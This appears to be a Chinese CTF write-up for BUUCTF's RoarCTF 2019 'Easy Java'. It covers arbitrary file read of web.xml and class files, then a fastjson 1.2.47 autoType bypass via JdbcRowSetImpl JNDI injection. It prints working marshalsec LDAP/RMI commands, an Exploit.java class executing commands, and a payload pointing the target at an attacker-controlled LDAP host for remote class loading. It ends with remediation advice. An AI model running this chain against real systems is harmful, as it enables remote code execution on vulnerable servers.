提到Java Web的CTF题,很多人第一反应就是反序列化、fastjson、Spring全家桶。但真正上手BUUCTF上的[RoarCTF 2019]Easy Java时,你会发现前面还挡着两座山:信息收集和源码获取。这道题不给你一个明显的漏洞点,而是把关键信息藏在了一个不起眼的接口里,整个解题链路相当有代表性——先靠任意文件读取扒源码,再通过反编译定位fastjson解析点,最后用JNDI注入拿flag。这篇文章就带你完整走一遍这条路,把每一步的原理和实操细节都讲清楚。
1. 开局:界面很干净,但隐藏了Swagger和文件下载点
1.1 页面探索与信息收集过程
打开靶机环境,第一眼看到的界面非常朴素,没有任何明显的输入框或功能按钮。很多第一次做Java Web CTF题的人到这里就开始盲目扫目录、跑字典,但我的习惯是先手动看一遍页面的HTML源码、响应头、Cookie,以及请求记录里的静态资源路径。因为Java Web应用往往会在这些细节里暴露框架信息。
响应头里如果带X-Application-Context、X-Frame-Options这类Spring Boot常见标记,就已经说明这是一个Spring Boot应用。再配合页面上偶尔出现的swagger-ui.html、/doc.html、/v2/api-docs路径,就能很快确认Swagger接口文档是否对外开放。Swagger一旦可访问,等于直接把后端所有的Controller路由、请求参数、数据模型都摆在你面前,这在CTF里属于重大信息泄露。
但Easy Java这道题在页面层面上没有直接暴露Swagger。真正有用的入口是页面里一个不起眼的链接,指向/help路径。这个路径在正常业务里通常是开发者遗留的调试接口或帮助页面,而在CTF题目中,这类接口往往就是出题人故意留的后门入口。
1.2 发现/help接口的任意文件读取
访问/help之后,页面上会展示一个文件下载相关的功能点。注意,这里不是常见的?filename=GET传参,而是POST请求,请求体里有filename这个参数。看到filename三个字,就应该立刻联想到任意文件读取/下载漏洞。
测试思路很简单:filename=/etc/passwd看能不能读到系统文件,或者直接尝试相对路径穿越。但这里是Java Web,读取系统文件不一定能成功,因为可能存在路径拼接限制。更重要的测试目标是Web应用的部署目录,尤其是/WEB-INF/web.xml。这是Java Web应用的核心配置文件,里面记录了Servlet映射、初始化参数、过滤器、监听器等信息。如果应用部署在Tomcat下,web.xml一定位于WEB-INF目录下,路径可以直接写绝对路径,也可以写相对路径。
这道题的出题人显然没有对filename参数做任何过滤,直接传filename=/WEB-INF/web.xml就能把文件内容回显出来。看到这里,整个题目的核心入口就已经找到了。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 扒Web.xml和Class文件,定位Java服务端源码
2.1 通过任意文件读取拿/WEB-INF/web.xml
用POST请求把filename=/WEB-INF/web.xml发过去,返回的是一段标准的XML配置。恭喜,你已经拿到了一张地图,接下来要做的就是按图索骥。
web.xml里最关键的信息是Servlet的注册和映射。比如:
xml复制<servlet>
<servlet-name>HelpServlet</servlet-name>
<servlet-class>cn.roartf.help.HelpServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelpServlet</servlet-name>
<url-pattern>/help</url-pattern>
</servlet-mapping>
看到servlet-class这个字段,说明后端处理/help请求的是一个自定义Servlet类。这个类的全限定名就是cn.roartf.help.HelpServlet。Java的Servlet类编译后会以.class文件形式存放在/WEB-INF/classes/目录下,路径规则就是包名+类名。所以对应的class文件路径就是:
code复制/WEB-INF/classes/cn/roartf/help/HelpServlet.class
这时候再用任意文件读取接口去下载这个class文件,比如filename=/WEB-INF/classes/cn/roartf/help/HelpServlet.class,返回的是一个二进制文件。在Burp Suite里点右键保存文件,拿到本地进行反编译即可。
2.2 反编译class文件,找到fastjson解析点
拿到class文件之后,一般用JD-GUI或者IDEA自带的反编译功能打开。如果觉得JD-GUI看大文件卡顿,可以试试CFR这个命令行工具,反编译效果也不错。
反编译之后的代码结构比较清晰,核心逻辑几行就能看完。这类题目里的Servlet通常不会写得很复杂,关键是看它调用了什么JSON解析库。代码里只要出现JSON.parseObject()、JSON.parse()这类方法,同时import了com.alibaba.fastjson,就立刻能确定这是一个fastjson的反序列化调用点。
注意,这里有一个细节很容易被忽略:页面显示的是一个“下载/读取”功能,但真正的漏洞点在另一个逻辑里。反编译后的代码显示,Servlet除了处理filename参数之外,还会接收一个POST请求体,这个请求体里的内容被直接传给了JSON.parseObject()。也就是说,攻击者传入的JSON字符串会直接触发fastjson反序列化。这是整道题最核心的利用点。
拿到代码之后,还需要确认fastjson的版本。最准确的方式是继续利用任意文件读取去拿项目的依赖配置文件,比如pom.xml。如果pom.xml泄露,里面会有:
xml复制<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
一旦确认是1.2.47这个版本,接下来的利用路径已经很明确了。
3. fastjson反序列化:为什么1.2.47能被绕过autoType
3.1 fastjson的autoType机制与绕过原理
fastjson反序列化的核心特性就是autoType。默认情况下,fastjson允许在JSON字符串里通过@type字段指定一个类全限定名,然后自动创建这个类的实例并调用对应的setter方法。这个特性原本是为了反序列化多态场景,比如接口类型通过@type来指定具体的实现类。
但autoType也成了灾难的源头。攻击者可以指定任意类,只要这个类在满足特定条件的情况下(比如类的构造方法或setter方法中带有危险调用),就能触发任意代码执行或JNDI注入。
fastjson官方从一开始就意识到这个问题,采取了一系列黑名单措施,并且从1.2.25版本开始引入了默认关闭autoType的策略,除非显式开启。然而黑名单永远都是滞后的,1.2.47版本就是一个典型的绕过案例。
先简单解释一下1.2.47这个经典绕过。攻击者利用fastjson在解析JSON时的两个阶段:第一阶段,通过一个java.lang.Class缓存加载目标类;第二阶段,再从缓存中取出这个类,绕过autoType的检查。大概过程是:
- 构造一个JSON数组,数组的第一个对象是
{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},这个对象会让fastjson把JdbcRowSetImpl这个类加载到内部的mappings缓存里。 - 数组的第二个对象是
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx/exp","autoCommit":true},此时fastjson在解析这个对象时,会因为类已经在缓存中,直接跳过autoType检查,并对JdbcRowSetImpl的dataSourceName属性赋值。 - 一旦
autoCommit被设置为true,JdbcRowSetImpl会立刻发起JNDI查询,去指定的dataSourceName地址拉取恶意对象,从而触发命令执行或其他后续利用。
这个绕过之所以经典,是因为它不需要依赖任何黑名单中没有的类,只靠fastjson本身对java.lang.Class和JdbcRowSetImpl的正常处理,就把整个防护体系绕过去了。
3.2 本次利用链的选型(JdbcRowSetImpl + JNDI)
很多人到这里会纠结一个问题:为什么非要选com.sun.rowset.JdbcRowSetImpl?因为在JNDI注入的打法中,我们需要找一个JDK自带的、能够发起JNDI查询的类。JdbcRowSetImpl完美符合这三个条件:
- 它存在于JDK中,不需要应用额外引入其他库。
- 它有个
setDataSourceName()方法,可以设置外部JNDI地址。 - 它有个
setAutoCommit()方法,一旦调用且参数为true,就会触发connect()方法,进而调用Context.lookup()去解析dataSourceName。
简单说,这个类就是攻击者的“桥”,把JSON解析的输入桥接到了JNDI查询上。而JNDI查询能干什么?在后续搭建恶意服务时,可以让lookup()返回一个远程加载的恶意类,或者返回一个序列化数据触发本地gadget。Easy Java这道题,我们走的是远程类加载这条路。
4. 搭建JNDI恶意服务,一步步打进去拿flag
4.1 使用marshalsec起LDAP/RMI服务
确定利用链之后,接下来要在自己的VPS或本机上搭建一个JNDI恶意服务。最常用的工具是marshalsec,它是一个Java反序列化研究工具,其中内置了LDAP和RMI服务端,可以快速起一个恶意的JNDI服务。
首先确保靶机环境能访问到你的服务地址,然后执行:
bash复制java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://你的IP:端口/#Exploit" 1389
这条命令会启动一个监听在1389端口的LDAP服务。当客户端(靶机)发起JNDI查询到这个LDAP服务时,服务端会返回一个引用,告诉客户端从http://你的IP:端口/Exploit这个地址去加载一个名为Exploit的class文件。如果返回的是RMI服务,命令是:
bash复制java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://你的IP:端口/#Exploit" 1099
注意,起服务之前要确保当前目录下已经有编译好的Exploit.class文件,或者用一个HTTP服务器来托管这个class文件。marshalsec的LDAPRefServer不会自己托管HTTP文件,你需要另外起一个简易的HTTP服务器:
bash复制python3 -m http.server 8080
这样恶意class文件和LDAP服务就配合起来了。实际操作中,LDAP和HTTP服务必须都保持监听,尤其是不要忘了打开防火墙端口,否则靶机回连不进来。
4.2 构造恶意类与payload
接下来是构造Exploit.java。目标是在目标机器上执行命令,把flag读出来。考虑到flag文件一般在根目录或当前目录下,名字通常是flag或者flag.txt,所以直接执行系统命令来读取:
java复制import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit {
public Exploit() {
try {
String[] cmds = {"/bin/bash", "-c", "cat /flag"};
Process p = Runtime.getRuntime().exec(cmds);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
System.out.println(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后编译:
bash复制javac Exploit.java
这里有个很重要的坑:编译时指定的JDK版本不能过高。如果你的本机JDK是9以上,而靶机环境是JDK8,直接编译的class文件可能会因为class文件格式版本过高而无法加载。稳妥的做法是加上-source 8 -target 8参数:
bash复制javac -source 8 -target 8 Exploit.java
编译完确认生成了Exploit.class文件,放到HTTP服务的目录里。
接着构造fastjson的payload。核心payload是:
json复制{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://你的IP:1389/Exploit",
"autoCommit": true
}
}
把这段JSON作为POST请求体发给题目里那个Servlet接收JSON的接口。如果网络通畅且链路正确,靶机会通过LDAP服务拿到Exploit这个类的引用,然后加载并实例化它,触发构造函数里的命令执行。
要注意系统命令回显的问题。fastjson在反序列化时,Exploit类的构造函数里执行命令,但stdout的输出不一定能直接返回给HTTP响应。如果题目环境直接回显异常信息或者把日志打到页面上,那还能看得到。如果看不到输出,就需要换成反弹shell,或者把命令执行结果写入到Web目录下的一个文件里,再通过任意文件读取接口把它读出来。我实际测试时发现,将cat /flag的结果先写入一个临时文件,再用文件读取接口读取,是最稳的方案。
如果确认环境是Linux,还有一种更稳妥的方式是打进一个webshell,利用Java的Runtime.exec()执行命令,甚至直接写一个JSP马到Web目录。但这道题的利用链已经足够简单,没有必要绕那么远。
拿到flag之后,整个题目的利用闭环就结束了。但别急着走,把整个思路复盘一下,你会发现这道题最值钱的不是fastjson本身,而是如何从零找到fastjson这个入口。
5. 复盘与延伸:这类题型的快速识别套路
5.1 识别特征表:三类关键信息速查
把Easy Java的解题链路抽象成一条模板,以后遇到类似的Java Web CTF题,可以按这张表来快速定位:
| 关键特征 | 常见位置 | 攻击思路 |
|---|---|---|
filename、path、file参数 |
下载/读取接口 | 尝试读取/WEB-INF/web.xml、pom.xml |
| Swagger相关路径 | /swagger-ui.html、/v2/api-docs、/doc.html |
直接枚举所有Controller路径 |
| JSON解析参数 | POST接口请求体含JSON字符串 | 测试@type字段,判断fastjson版本 |
| 自定义Servlet类 | web.xml中的servlet-class字段 |
下载class文件反编译,梳理代码逻辑 |
| 报错信息中的包名 | 输入非法内容触发异常 | 从异常回显中直接获取类名和框架版本 |
每次遇到Java Web题目,我的优先级顺序是:先看响应头和页面路径,快速确认Spring Boot/Tomcat/其他框架;再做常规目录扫描,但重点是扫Swagger和WEB-INF相关路径;拿到任何文件读取能力后,第一优先读web.xml和pom.xml;再反编译class文件找危险调用点。这一套流程走完,题目基本已经解开一半。
5.2 fastjson漏洞的修复与自查清单
虽然CTF是为了解题,但回到真实业务里,fastjson的漏洞是绝对不能忽略的。1.2.47只是绕过autoType的其中一个版本,后来官方又陆续修复了1.2.48到1.2.83等多个绕过方式,几乎每一轮都是“修复-绕过-再修复”的循环。
如果业务中还在用fastjson,我的建议是:
- 及时升级到官方推荐的安全版本,比如1.2.83以上,并且确认autoType默认关闭。
- 如果因为兼容性问题无法升级,至少要在反序列化入口处做白名单校验,只允许特定类被反序列化。
- 规范代码里JSON解析的调用方式,避免直接让用户的输入传入
JSON.parseObject()。 - 在Java Web应用部署时,禁用不可信的Swagger接口,避免把API结构暴露给未授权人员。
另外值得单独提一句的是,任意文件读取+反编译class这条链路,在实战里同样常见。很多开发者以为上线之后别人看不到源码,但只要你有一个任意文件读取漏洞,整个Java Web应用在攻击者面前都是透明的。以前辈的经验来说,在处理这类Java题目时,源码就是最大的漏洞库,看到web.xml和class文件,出题人想让你打的点往往就写在里面。
5.3 从这道题延伸出去,还可以继续学什么
Easy Java做完之后,可以顺着这条线继续深入几个方向。比如:marshalsec不止能起LDAP服务,还能配合生成各种gadget,研究一下RMI和LDAP的利用差异;Exploit类除了执行命令,还能配合BeanShell、Spring等环境打二次反序列化;如果fastjson版本是1.2.68以后,还需要掌握JdbcRowSetImpl之外的攻击面。这些内容如果想系统学习,建议直接去复现CVE的漏洞环境,配上动态调试观察fastjson的反序列化过程。
解题之外,我也更推荐大家把注意力放在“为什么这个Servlet会把用户输入直接交给JSON.parseObject”上。大部分Java Web题目的漏洞来源都是开发者图省事,把复杂业务逻辑简写成了几行解析代码。真正常见的业务场景里,这是最常见的错误之一。
我的个人经验是,做这类Java Web题时,不要急于打payload。先用任意文件读取把能读的文件全部拖下来,再把反编译出来的代码读一遍。很多时候,出题人想让你拿到的“flag”,就藏在业务逻辑的边边角角。先理解业务,再谈漏洞利用,才是做CTF题目最舒服的节奏。
